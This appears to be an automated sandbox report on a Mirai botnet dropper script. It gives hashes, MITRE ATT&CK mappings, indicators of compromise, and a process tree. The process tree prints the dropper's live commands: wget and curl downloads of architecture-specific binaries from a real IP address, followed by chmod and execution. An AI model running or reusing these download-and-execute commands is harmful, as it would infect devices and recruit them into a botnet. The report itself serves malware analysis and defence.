mirai | 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a

Analysis

max time kernel
144s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/03/2025, 02:31

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General

Target

sh.sh
Size

1KB
MD5

c46ce91068e77aa58bd2127bec2ee6c3
SHA1

fced6e9a98cb1fd8b568f7698dbf1b4e1e4231d5
SHA256

6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a
SHA512

ace2a1517ff4dceb812a495e8f5d5a4bbec6825964ffca84b076f57610ed09232b3ad76e995fd83ba121d4a36f82acb0136f27da8d4fc272bd083ac1d8e3e7e9

Score

10^/10

mirai botnet antivm botnet credential_access defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Extracted

Family

mirai

Botnet

BOTNET

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (173676) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
712	chmod
735	chmod
776	chmod
785	chmod
790	chmod
796	chmod
802	chmod
808	chmod
684	chmod
745	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/ssh	685	sh.sh
/tmp/ssh	713	sh.sh
/tmp/ssh	736	sh.sh
/tmp/ssh	747	sh.sh
/tmp/ssh	777	sh.sh
/tmp/ssh	786	sh.sh
/tmp/ssh	791	sh.sh
/tmp/ssh	797	sh.sh
/tmp/ssh	803	sh.sh
/tmp/ssh	809	sh.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ssh
File opened for modification	/dev/misc/watchdog	ssh

Renames itself 1 IoCs

pid	Process
777	ssh

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	185.181.61.24

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	ssh

Enumerates running processes
Discovers information about currently running processes on the system

Reads process memory 1 TTPs 28 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/812/maps	ssh
File opened for reading	/proc/814/maps	ssh
File opened for reading	/proc/815/maps	ssh
File opened for reading	/proc/819/maps	ssh
File opened for reading	/proc/820/maps	ssh
File opened for reading	/proc/825/maps	ssh
File opened for reading	/proc/787/maps	ssh
File opened for reading	/proc/794/maps	ssh
File opened for reading	/proc/799/maps	ssh
File opened for reading	/proc/800/maps	ssh
File opened for reading	/proc/818/maps	ssh
File opened for reading	/proc/823/maps	ssh
File opened for reading	/proc/827/maps	ssh
File opened for reading	/proc/829/maps	ssh
File opened for reading	/proc/805/maps	ssh
File opened for reading	/proc/832/maps	ssh
File opened for reading	/proc/834/maps	ssh
File opened for reading	/proc/835/maps	ssh
File opened for reading	/proc/806/maps	ssh
File opened for reading	/proc/813/maps	ssh
File opened for reading	/proc/821/maps	ssh
File opened for reading	/proc/822/maps	ssh
File opened for reading	/proc/831/maps	ssh
File opened for reading	/proc/833/maps	ssh
File opened for reading	/proc/837/maps	ssh
File opened for reading	/proc/839/maps	ssh
File opened for reading	/proc/788/maps	ssh
File opened for reading	/proc/793/maps	ssh

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ksoftirqd/0	777	ssh

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	ssh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/comm	ssh
File opened for reading	/proc/22/comm	ssh
File opened for reading	/proc/642/comm	ssh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/12/comm	ssh
File opened for reading	/proc/272/comm	ssh
File opened for reading	/proc/799/cmdline	ssh
File opened for reading	/proc/76/comm	ssh
File opened for reading	/proc/645/comm	ssh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/827/cmdline	ssh
File opened for reading	/proc/829/cmdline	ssh
File opened for reading	/proc/837/cmdline	ssh
File opened for reading	/proc/26/comm	ssh
File opened for reading	/proc/42/comm	ssh
File opened for reading	/proc/596/comm	ssh
File opened for reading	/proc/794/cmdline	ssh
File opened for reading	/proc/820/cmdline	ssh
File opened for reading	/proc/787/cmdline	ssh
File opened for reading	/proc/800/cmdline	ssh
File opened for reading	/proc/814/cmdline	ssh
File opened for reading	/proc/822/cmdline	ssh
File opened for reading	/proc/833/cmdline	ssh
File opened for reading	/proc/835/cmdline	ssh
File opened for reading	/proc/839/cmdline	ssh
File opened for reading	/proc/108/comm	ssh
File opened for reading	/proc/146/comm	ssh
File opened for reading	/proc/271/comm	ssh
File opened for reading	/proc/819/cmdline	ssh
File opened for reading	/proc/821/cmdline	ssh
File opened for reading	/proc/637/comm	ssh
File opened for reading	/proc/132/comm	ssh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/169/comm	ssh
File opened for reading	/proc/579/comm	ssh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/599/status	ssh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/306/comm	ssh
File opened for reading	/proc/599/comm	ssh
File opened for reading	/proc/275/status	ssh
File opened for reading	/proc/self/maps	ssh
File opened for reading	/proc/18/comm	ssh
File opened for reading	/proc/834/cmdline	ssh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/13/comm	ssh
File opened for reading	/proc/105/comm	ssh
File opened for reading	/proc/277/comm	ssh
File opened for reading	/proc/643/comm	ssh
File opened for reading	/proc/644/comm	ssh
File opened for reading	/proc/169/status	ssh
File opened for reading	/proc/208/status	ssh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/329/comm	ssh
File opened for reading	/proc/649/comm	ssh
File opened for reading	/proc/596/status	ssh
File opened for reading	/proc/788/cmdline	ssh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/23/comm	ssh
File opened for reading	/proc/27/comm	ssh
File opened for reading	/proc/29/comm	ssh
File opened for reading	/proc/132/status	ssh
File opened for reading	/proc/579/status	ssh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
688	wget
698	curl
711	cat

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jklx86	wget
File opened for modification	/tmp/jklx86	curl
File opened for modification	/tmp/ssh	sh.sh
File opened for modification	/tmp/jklmips	wget
File opened for modification	/tmp/jklmpsl	wget
File opened for modification	/tmp/jklmpsl	curl
File opened for modification	/tmp/jklarm4	curl
File opened for modification	/tmp/jklarm6	wget
File opened for modification	/tmp/jklmips	curl
File opened for modification	/tmp/jklarm5	wget
File opened for modification	/tmp/jklarm5	curl
File opened for modification	/tmp/jklarm6	curl

/tmp/sh.sh
/tmp/sh.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:645
- /usr/bin/wget
  wget http://176.65.134.5/jklx86
  2⤵
  - Writes file to tmp directory
  PID:647
- /usr/bin/curl
  curl -O http://176.65.134.5/jklx86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/cat
  cat jklx86
  2⤵
  PID:682
- /bin/chmod
  chmod +x jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:685
- /usr/bin/wget
  wget http://176.65.134.5/jklmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://176.65.134.5/jklmips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:698
- /bin/cat
  cat jklmips
  2⤵
  - System Network Configuration Discovery
  PID:711
- /bin/chmod
  chmod +x jklmips jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://176.65.134.5/jklmpsl
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://176.65.134.5/jklmpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/cat
  cat jklmpsl
  2⤵
  PID:734
- /bin/chmod
  chmod +x jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:736
- /usr/bin/wget
  wget http://176.65.134.5/jklarm4
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat jklarm4
  2⤵
  PID:744
- /bin/chmod
  chmod +x jklarm4 jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:747
- /usr/bin/wget
  wget http://176.65.134.5/jklarm5
  2⤵
  - Writes file to tmp directory
  PID:748
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat jklarm5
  2⤵
  PID:775
- /bin/chmod
  chmod +x jklarm4 jklarm5 jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/ssh
  ./ssh ssh
  2⤵
  - Modifies Watchdog functionality
  - Renames itself
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:777
- /usr/bin/wget
  wget http://176.65.134.5/jklarm6
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/cat
  cat jklarm6
  2⤵
  PID:784
- /bin/chmod
  chmod +x jklarm4 jklarm5 jklarm6 jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:786
- /usr/bin/wget
  wget http://176.65.134.5/jklarm7
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:788
- /bin/cat
  cat jklarm7
  2⤵
  PID:789
- /bin/chmod
  chmod +x jklarm4 jklarm5 jklarm6 jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:791
- /usr/bin/wget
  wget http://176.65.134.5/jklppc
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://176.65.134.5/jklppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:794
- /bin/cat
  cat jklppc
  2⤵
  PID:795
- /bin/chmod
  chmod +x jklarm4 jklarm5 jklarm6 jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:797
- /usr/bin/wget
  wget http://176.65.134.5/jklm68k
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://176.65.134.5/jklm68k
  2⤵
  - Checks CPU configuration
  PID:800
- /bin/cat
  cat jklm68k
  2⤵
  PID:801
- /bin/chmod
  chmod +x jklarm4 jklarm5 jklarm6 jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:803
- /usr/bin/wget
  wget http://176.65.134.5/jklsh4
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://176.65.134.5/jklsh4
  2⤵
  PID:806
- /bin/cat
  cat jklsh4
  2⤵
  PID:807
- /bin/chmod
  chmod +x jklarm4 jklarm5 jklarm6 jklmips jklmpsl jklx86 sh.sh ssh systemd-private-38846cdf44cb471dafcc5b1541aa286f-systemd-timedated.service-WuYrvc
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:809

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/jklarm4

Filesize
205B

MD5
fccd0deca96f1630531d355bdb90afae

SHA1
7b66856c4727953f5c23e898f574fd40bb3d3e33

SHA256
59be92959718afe8ed8ffe7009ae6530344385f67eb72791e8e37f52643cc27b

SHA512
cf80d05129a7c4a5ec44d167f1e6fe22a104238502456122d3aa72b711d92d008e016bd898ea23d79e28d8a1398b1a1d365db0b80d799cc74c46f9f169643b48

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/tmp/jklarm5

Filesize
55KB

MD5
6808c976ae3e0456efb6e6fc4e1a8423

SHA1
d9b7a61a16aa0e2875b04ff7eac22e72fc15a24e

SHA256
270336c1d58b1ffaa8ebba18d47d73c2451fa149194f37cc44e980ac96cf1443

SHA512
8b890a0f2d216b8041577412b2d7d4f9524caf0d185f45d48ce7df781fce05e0148e3f767dfc6bb76931a9237e6a26b80decae63a7685760727a8b9716855917

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/tmp/jklarm6

Filesize
65KB

MD5
2c56a6803c9b541e037c5501da6def2f

SHA1
5b5787622aa43f619ecd49c1659f769f9bb812cc

SHA256
906399d69e39253d0551c6bf9c59451b2ee12e5e7e8ac557040b38c6b813e711

SHA512
b799bea5f2a69cf97abe1a5b6acb64f4488430a06555ae511a2e0f2e8177ae4c021560914544fd8fbb4a1490f7a686cee8be78c1bd2830305b8d780f79a8e109

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/tmp/jklmips

Filesize
74KB

MD5
da5f082847104367fefde63653084863

SHA1
63a45455eb18ea7f6f5d1b374bd1cb18781c6a86

SHA256
6fc1f441c08b49ceb3083fa2a201d424c5282ec7a5cd2431bd017490ba2b23de

SHA512
2c406081e2a226af6dbe06370224d14dca11f73b7532069ca028027816eb61122b6b49e9ec672c041cf362792aa1e23ca9e29dbe8c580e8838a6f7d2c2edffa6

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/tmp/jklmpsl

Filesize
74KB

MD5
eb8e5a5d4d7a332bf23f7cc07c05389f

SHA1
dd9291fec1c6905ba48fdf18462a0a350e82d36a

SHA256
0ee587fea341d9da43777102b508c6017d29ad537594afa596e042d4ecd67cf8

SHA512
c5aa6c4e4c4218b21d2f0cf7cdab53f7b21c8f615db7bcf1f11f9aed5e0efc57d09abfcdf6205fa16808c7af0ada585c357c7f6913bfeda02737411f8a1dbcec

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/tmp/jklx86

Filesize
49KB

MD5
84597b4e86a02818478e8e9ef7c74485

SHA1
80d83dea146a0fc48a5154c87d19bbefd3a1c26b

SHA256
28bb529e99c8730de533d64995979a491d6af643ddcd99997788ff945dc6b426

SHA512
02d3c182c9b10bc5a21a0459599d86b4254307e11e35e77e140c82dd97b86ed180c73c5068fd4706e6f7d2896b167521f5cbc67a89d457a1aaf77770180ae08f

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads